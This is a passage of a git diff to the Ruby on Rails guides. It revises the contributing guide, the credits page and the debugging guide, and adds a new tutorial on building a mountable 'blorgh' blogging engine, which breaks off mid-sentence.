unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix. -Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating a issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. +Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment. h4. Special Treatment for Security Issues @@ -90,7 +90,7 @@ This command will install all dependencies except the MySQL and PostgreSQL Ruby $ rake test </shell> -You can also run tests for an specific framework, like Action Pack, by going into its directory and executing the same command: +You can also run tests for a specific framework, like Action Pack, by going into its directory and executing the same command: <shell> $ cd actionpack @@ -104,7 +104,6 @@ $ cd railties $ TEST_DIR=generators rake test </shell> - h4. Warnings The test suite runs with warnings enabled. Ideally Ruby on Rails should issue no warning, but there may be a few, and also some from third-party libraries. Please ignore (or fix!) them if any, and submit patches that do not issue new warnings. @@ -121,6 +120,10 @@ The test suite of Active Record attempts to run four times, once for SQLite3, on WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: @@ -201,11 +204,11 @@ You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. @@ -258,15 +261,17 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. -When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. -WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. +When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. + +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. +WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. h3. Contributing to the Rails Code @@ -285,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -309,7 +314,7 @@ Rails follows a simple set of coding style conventions. * a = b and not a=b. * Follow the conventions you see used in the source already. -These are some guidelines and please use your best judgement in using them. +These are some guidelines and please use your best judgment in using them. h4. Sanity Check @@ -350,7 +355,7 @@ Navigate to the Rails "GitHub repository":https://github.com/rails/rails and pre Add the new remote to your local repository on your local machine: <shell> -$ git remote add mine https://<your user name>@github.com/<your user name>/rails.git +$ git remote add mine git@github.com:<your user name>/rails.git </shell> Push to your remote: @@ -361,7 +366,7 @@ $ git push mine my_new_branch h4. Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/<your user name>/rails) and press "Pull Request" in the upper right hand corner. +Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. Write your branch name in branch field (is filled with master by default) and press "Update Commit Range" @@ -382,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/credits.html.erb b/railties/guides/source/credits.html.erb index 65e396be95..da6bd6acdf 100644 --- a/railties/guides/source/credits.html.erb +++ b/railties/guides/source/credits.html.erb @@ -9,18 +9,14 @@ Ruby on Rails Guides: Credits <% end %> -<h3 class="section">Rails Documentation Team</h3> +<h3 class="section">Rails Guides Reviewers</h3> -<%= author('Mike Gunderloy', 'mgunderloy') do %> - Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much. -<% end %> - -<%= author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>. +<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %> + Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>. <% end %> <%= author('Xavier Noria', 'fxn', 'fxn.png') do %> - Xavier Noria has been into Ruby on Rails since 2005. He is a Rails committer and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently a Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn". + Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn". <% end %> <h3 class="section">Rails Guides Designers</h3> @@ -31,6 +27,10 @@ Ruby on Rails Guides: Credits <h3 class="section">Rails Guides Authors</h3> +<%= author('Ryan Bigg', 'radar', 'radar.png') do %> +Ryan Bigg works as a consultant at <a href="http://rubyx.com">RubyX</a> and has been working with Rails since 2006. He's co-authoring a book called <a href="http://manning.com/katz">Rails 3 in Action</a> and he's written many gems which can be seen on <a href="http://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ryanbigg</a>. +<% end %> + <%= author('Frederick Cheung', 'fcheung') do %> Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>. <% end %> @@ -43,6 +43,10 @@ Ruby on Rails Guides: Credits Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>. <% end %> +<%= author('Mike Gunderloy', 'mgunderloy') do %> + Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much. +<% end %> + <%= author('Mikel Lindsaar', 'raasdnil') do %> Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>. <% end %> @@ -55,6 +59,10 @@ Ruby on Rails Guides: Credits James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". <% end %> +<%= author('Pratik Naik', 'lifo') do %> + Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>. +<% end %> + <%= author('Emilio Tagua', 'miloops') do %> Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". <% end %> diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index 6f028805d6..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -127,7 +127,7 @@ When something is logged it's printed into the corresponding log if the log leve The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use <ruby> -config.log_level = Logger::WARN # In any environment initializer, or +config.log_level = :warn # In any environment initializer, or Rails.logger.level = 0 # at any time </ruby> @@ -480,11 +480,7 @@ class Author < ActiveRecord::Base def find_recent_comments(limit = 10) debugger - @recent_comments ||= comments.find( - :all, - :conditions => ["created_at > ?", 1.week.ago], - :limit => limit - ) + @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) end end </ruby> @@ -493,7 +489,7 @@ TIP: You can use ruby-debug while using +rails console+. Just remember to +requi <shell> $ rails console -Loading development environment (Rails 2.1.0) +Loading development environment (Rails 3.1.0) >> require "ruby-debug" => [] >> author = Author.first @@ -507,15 +503,15 @@ With the code stopped, take a look around: <shell> (rdb:1) list -[6, 15] in /PathTo/project/app/models/author.rb +[2, 9] in /PathTo/project/app/models/author.rb + 2 has_one :editorial + 3 has_many :comments + 4 + 5 def find_recent_comments(limit = 10) 6 debugger - 7 @recent_comments ||= comments.find( - 8 :all, - 9 :conditions => ["created_at > ?", 1.week.ago], - 10 :limit => limit -=> 11 ) - 12 end - 13 end +=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) + 8 end + 9 end </shell> You are at the end of the line, but... was this line executed? You can inspect the instance variables. @@ -716,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..da56f3d0ed --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,606 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +</shell> + +This command will output this information: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + >> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: + +<ruby> +root :to => "posts#index" +</ruby> + +Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. + +Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate model Comment post_id:integer text:text +</shell> + +This will output the following: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/unit/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +</shell> + +This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. + +To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link: + +<erb> +<h3>Comments</h3> +<%= render @post.comments %> +</erb> + +This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: + +<ruby> +has_many :comments +</ruby> + +Turning the model into this: + +<ruby> +module Blorgh + class Post < ActiveRecord::Base + has_many :comments + end +end +</ruby> + +Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects. + +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: + +<erb> +<%= render "blorgh/comments/form" %> +</erb> + +Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: + +<erb> +<h3>New comment</h3> +<%= form_for [@post, @post.comments.build] do |f| %> + <p> + <%= f.label :text %><br /> + <%= f.text_area :text %> + </p> + <%= f.submit %> +<% end %> +</erb> + +This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: + +<ruby> +resources :posts do + resources :comments +end +</ruby> + +The route now will exist, but the controller that this route goes to does not. To create it, run this command: + +<shell> +$ rails g controller comments +</shell> + +This will generate the following things: + +<shell> +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/functional/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/comments_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +</shell> + +The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: + +<ruby> +def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + flash[:notice] = "Comment has been created!" + redirect_to post_path +end +</ruby> + +This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: + +<text> + Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: + * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" + * "/Users/ryan/Sites/side_projects/blorgh/app/views" +</text> + +The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. + +This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: + +<erb> +<%= comment_counter + 1 %>. <%= comment.text %> +</erb> + +The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use it within an application. + +h3. Hooking into an application + +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. + +h4. Mounting the engine + +First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: + +<shell> +$ rails new unicorn +</shell> + +Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. + +<ruby> +gem 'devise' +</ruby> + +Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification: + +<ruby> +gem 'blorgh', :path => "/path/to/blorgh" +</ruby> + +If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this: + +<ruby> +gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. + +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: + +<ruby> +mount Blorgh::Engine, :at => "blog" +</ruby> + +This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+. + +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. + +h4. Engine setup + +The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: + +<shell> +Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +</shell> + +The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. + +To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. + +h4. Using a class provided by the application + +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. + +Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called. + +To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command: + +<shell> +rails g model user name:string +</shell> + +The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. + +Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. + +First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: + +<erb> +<div class="field"> + <%= f.label :author_name %><br /> + <%= f.text_field :author_name %> +</div> +</erb> + +The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. + +<ruby> +attr_accessor :author_name +belongs_to :author, :class_name => "User" + +before_save :set_author + +private + def set_author + self.author = User.find_or_create_by_name(author_name) + end +</ruby> + +By defining that the +author+ association's object is represented by the +User+ class a link is established between the 